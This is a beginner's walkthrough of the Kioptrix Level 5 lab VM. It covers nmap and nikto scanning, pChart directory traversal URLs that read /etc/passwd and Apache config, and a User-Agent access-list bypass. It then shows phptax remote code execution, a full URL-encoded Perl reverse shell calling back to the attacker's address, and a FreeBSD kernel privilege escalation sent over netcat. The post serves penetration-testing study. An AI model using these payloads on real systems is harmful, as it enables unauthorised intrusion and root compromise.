In reviewing multiple blogs and websites, the Kioptrix series is supposed to be for penetration tester beginners and is rumored to be similar to the challenges within Offensive Security’s PWK coursework. Since I classify myself as a beginner/junior, my goal is to work through this series and document my findings along the way.
Setup:
I downloaded the Kioptrix VM from Kioptrix.com and used RAR to expand the compressed file. In addition, I downloaded the Kioptrix VM Fix from VulnHub.com and expanded it within the same folder as the RAR file. Since my Host machine was Linux (Ubuntu 16.04), I launched VMWare Player and selected the “KioptrixVM5.vmx” file.
I referred to the VulnHub.com site to review the Virtual Machine Information, Networking, as well as expected screen shots once the Kioptrix system had been started. Reading the notes, it was recommended to use Bridged Networking and to delete and re-add the network adaptor prior to starting Kioptrix.
For my attacking system, I decided to deploy a 64-bit VMware Image of Ubuntu 18.04 from Ubuntu.com. I then installed Trusted Sec’s Penetration Testers Framework from GitHub. In addition, I created a Kioptrix5 directory on the attacking system to capture and store files.
Note: due to firewall restrictions between my production network and my lab network, I had to use a second attacking system within my lab network (Kali 64-bit).
Victim Description:
The VulnHub.com site did not list any vulnerabilities, but did note there was a text flag. I have included the vulnerabilities that I found below:
· LFI: Directory Traversal
· Access Bypass
· Remote Code Execution
· Local Privildge Escalation
Information Gathering:
Since I knew the isolated network IP Address range, I used Nmap to perform a Ping scan of the 172.27.254.0/24 subnet. In addition, I had Nmap output the findings into three different file formats starting with the name of NmapFastScan.
nmap -sn -n 172.27.254.0/24 -oA NmapFastScan
Interesting, the Kioptrix system was not detected with the above scan. So, I decided to perform another Nmap scan using an Aggressive Port Scan on ports 22, 80, 139, 443, and 445, identifying the Service Version, and then output the findings into three different file formats starting with the name of NmapPnScan.
nmap -Pn -sV -p22,80,139,443,445 172.27.254.0/24 -oA NmapPnScan
Note: I used the Nmap -sV switch to make it a little easier to identify found systems.
Next, I used the Nmap command to perform an Aggressive Service scan on all ports, this treated the host as being online, to enumerate all open ports, and then output the findings into three different file formats starting with the name of NmapFullScan.
Based on the results, I knew the following:
· TCP Port 80: Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
· TCP Port 8080: Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
Next, I ran Nmap with the vuln NSE script and then output the findings into three different file formats starting with the name of NmapVulnScan.
Interesting. With TCP Port 22 being listed within this scan, it would appear that the port is locked down or may have another service associated to it.
Enumeration:
Using the data gathered from enumerating Nmap, I used nikto to determine the vulnerabilities present as well as enumerating TCP Port 80. In addition, I used the tee command to output the data to the screen as well as to the file of nikto_32.txt.
In addition, I used nikto again to determine the vulnerabilities present as well as enumerating TCP Port 8080. However, I believe I received false positives since IIS and OWA were listed as being exposed and I believe this system was a Linux or FreeBSD system.
So, I turned to dirb to determine the listed web site directories and then output the file to the screen as well as to the file of dirb_32.txt with the tee command.
CVE-2002–0082 Exploitation:
Not finding much with dirb, I attempted to use the exploit for CVE-2002–0082 found from nikto on ports 80 and 8080. Keeping in mind the steps used with Kioptrix: Level 1:
1. Add Headers
a. #include <openssl/rc4.h>
b. #include <openssl/md5.h>
2. Update the URL
a. Search for wget
b. Replace http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c with https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
3. Replace Parameter
a. Search for get_server_hello
b. Scroll down to line 961
c. Replace unsigned char *p, *end; with const unsigned char *p, *end;
4. Instead of installing libssl-dev, use the updated package of libssl1.0-dev.
Unfortunately, I was not able to make the exploit work.
HTTP Enumeration:
Continuing to enumerate, I decided to connect with a web browser to further investigate.
Nothing special with Port 80. So, I repeated the process with port 8080.
Well this was getting interesting. I returned to port 80 and then right-clicked on the page to launch a popup menu. Within the menu, I selected View Page Source.
Next, I highlighted the pChart2.1.3/index.php and appended it to the URL.
Directory Traversal:
Identifying that pChart was being used, I did a quick search of Exploit-DB and noted that the application had multiple vulnerabilities for directory traversal and cross-site scripting.
Using the first directory traversal example, I modified the URL to the Kioptrix IP Address within my lab:
http://172.27.254.32/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
Great! Directory traversal worked and nikto was accurate in identifying that the vulnerability existed.
Unfortunately, I was unsuccessfully enumerating /etc/shadow or /var/www. Knowing that Port 8080 returned a privilege error, I decided to do some research to determine the name and location of the Apache log on FreeBSD.
Based on my research, I found a blog that provided the details I was searching. So, I used the following to perform a directory traversal to display the httpd-error.log:
http://172.27.254.32/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fvar/log/httpd-error.log
OK…the log revealed my failed enumeration attempts as well as my last attempt to connect to Port 8080. So, I attempted to enumerate /usr/local/www/apache22/data/ with no luck. However, I reviewed the blog that I found and decided to determine if I could review the Apache configuration file at /usr/local/etc/apache22/httpd.conf.
Interesting! I found additional information that was useful at the end of the config file. The root directory for Port 8080 was located in /usr/local/www/apache22/data2 and there appeared to be an access-list that only allowed Mozilla/4.0 browsers to connect to the site.
Access-List Bypass:
Knowing that only Mozilla/4.0 browsers could connect to the web site on Port 8080, I had multiple ways to accomplish this goal by changing the User Agent parameter.
Method 1:
For the first method, I used curl with the user agent parameter to connect to Port 8080 of the web site.
At this point, I discovered that phptax was installed on the website.
Method 2:
The second method to achieve bypassing the ACL was with BurpSuite. After launching Burp, I copied the URL for the website and pasted the URL into the Target →Scope window.
I decided that I did not want to manually forward each proxy request. So, I turned the Intercept off.
Next, I enabled Intercept Server Responses and enabled the URL Match Type for both Intercept rules.
Once Burp was configured, I enabled the browser proxy settings to match the configuration within Burp.
Once configured, I refreshed the Kioptrix web site within the browser and then returned to Burp to review the Proxy →HTTP history. I then right-clicked on the request and selected Send to Repeater from the popup menu.
In Repeater, I selected the Headers tab and reviewed the parameters.
Next, I modified the User-Agent parameter to equal Mozilla/4.0. Then I clicked on the Go button to see the Raw Response.
To view the web site, I selected the Render tab from the Response window.
Discovering the site of phptax, I modified the GET parameter and clicked on the Go button.
I then selected the Render tab from the Response window to view the web site.
The last task that I used with Burp was to Spider the web site to discover the directory structure.
Method 3:
With the third option, I followed the instructions found on the howtogeek web site. It calls for entering into config mode within the Firefox browser.
Next, I searched for general.user to determine if there was a useragent.override string.
Since the general.useragent.override did not existed, I created it.
Note: several sites mentioned that the string should be general.useragent.overridepreference; which did not work for me.
Once the string was created, I then used the User Agent example and changed the version of Mozilla from 5.0 to 4.0:
Mozilla/4.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
After creating the new key, I refreshed the Port 8080 web site and was presented with a hyperlink to phptax.
Once I clicked on the hyperlink, the phptax web site opened with the correct permissions.
I continued to investigate the web site and found a data directory that listed additional files and directories.
Not sure if loneferret was toying with the user of the Kioptrix system or not, but I found the pdf directory interesting.
Note: to return your browser to the default mode, right-click on the general.useragent.override string and select Reset from the popup menu.
Remote Code Execution:
As noted within the Setup section above, I used my second attacking system for most of the remaining steps.
After identifying that phptax was available on the Kioptrix web site, I returned to Exploit-DB and searched for phptax. The returned results provided three possibilities for Remote Code Execution exploits.
EDB-ID 25849:
Reviewing the first exploit listed within the Exploit-DB search, I decided to download the script to my attacking system.
Once downloaded, I issued the command of php 25849.txt to determine if there were any arguments or parameters that needed to be configured. I then re-issued the above command with the appropriate parameters.
Unfortunately, the script did not work. I did try to make minor adjustments to the script, but my coding skills were not very strong.
EDB-ID 21665:
With an unsuccessful attempt with EDB-ID 25849, I decided to use the other non-Metasploit Remote Execution Code exploit from the Exploit-DB search results. In reviewing the exploit, it appeared that a Netcat listener shell could be established on port 23235 by issuing the following URL:
I made a few modifications to the URL and entered it into the browser on both of my attacking systems.
Yet again, I was not having any luck establishing a shell. So, I did some more research and came across a Python script on GitHub. I downloaded the script and executed it according to the instructions. However, I was still unable to establish a shell.
Metasploit:
Since I did not have any luck with the previous exploits, I turned to Metasploit. Once msfconsole was loaded, I performed a search for phptax.
Next, I loaded the module and then used the options command to review and validate the configured parameters.
I then issued the exploit command to execute the module; followed by the whoami && id commands.
Cool! I had an active shell to the Kioptrix system.
At this point, I decided to investigate the system further as well as determining the OS and Kernel versions.
Try Harder:
Knowing that the OSCP exam limits the use of Metasploit, I wanted to establish a shell without using msfconsole. So, I took the “Try Harder” to heart and put in the additional time after I had already solved the challenge.
Reviewing the scripts from the failed attempts above, I noticed rce.php was being called within the URL. I remember discovering rce.php within the data directory of the phptax site. So, I started testing random commands until I was able to successfully test id.
Next, I tried to establish a Netcat session from the browser, but was unsuccessful. I continued thinking about why the listing for phptax/data/pdf directory returned the values that it did. So, I went down the path of trying to create an upload form via a text file and then renaming the file to a php extension within the URL. After some time, I was able to create the file. However, I believe that the formatting was off and I was not able to successfully upload any files.
At this point, I went back to searching the Internet for LFI shells and came across the HighOn.Coffee Reverse Shell Cheat Sheet. I started a Netcat listener on my second attacking system and then input the PHP Reverse Shell string into the URL…failed.
I repeated the same steps for the Python Reverse Shell and it failed as well. So, I decided to back up a step and determine which programming languages were installed on the Kioptrix system.
OK. Knowing that Perl was installed on Kioptrix, I reviewed the available Perl Reverse Shells. I struck out with the first shell string, but I was successful with the second shell string.
http://172.27.254.32:8080/phptax/data/rce.php?cmd=perl%20-MIO%20-e%20%27$c=new%20IO::Socket::INET(PeerAddr,%22172.27.254.61:80%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27
Finally! After establishing the shell, I issued the whoami&&id commands to determine connected credentials.
Local Privilege Escalation:
Since I was able to validate the OS, I decided to do a search for BSD 9.0 vulnerabilities on Exploit-DB. I was able to find a Kernel Privilege Escalation exploit, downloaded it to my second attacking system, and then renamed the file (to provide a more meaningful name to me).
Note: I was not able to compile the exploit file on my attacking system since the code was created specifically for a FreeBSD system.
Returning to the shell, I needed to determine how I was going to transfer the exploit file to Kioptrix. So, I entered in a few commands to determine if they were available.
After identifying that Netcat was available on Kioptrix, I returned to my second attacking system and configured Netcat to listen verbosely on port 4567 and then enabled the exploit script to be transferred.
Within the shell, I configured the Kioptrix system to not perform DNS lookups and to verbosely receive the exploit script from my second attacking system on port 4567.
Once the exploit script was successfully transferred to the Kioptrix system, I used gcc to compile the script.
gcc -o SYSRET SYSRET.c
After the script was successfully compiled, I then launched the executable file; followed by entering the whoami and id commands.
Awesome! I now had root.
Flag:
To finish the challenge, I needed to find the flag. So, I listed the contents of /root and found a file named congrats.txt.
Since the cat command was not available, I used the less command to review the text file.
Challenge completed.
Taking loneferret’s advise, I reviewed the suggested logs. The only thing I can say was OUCH!!!
In conclusion, I really enjoyed the Kioptrix series and am feeling a little more confident in my abilities. I still have much to learn, but I am looking forward to the journey.
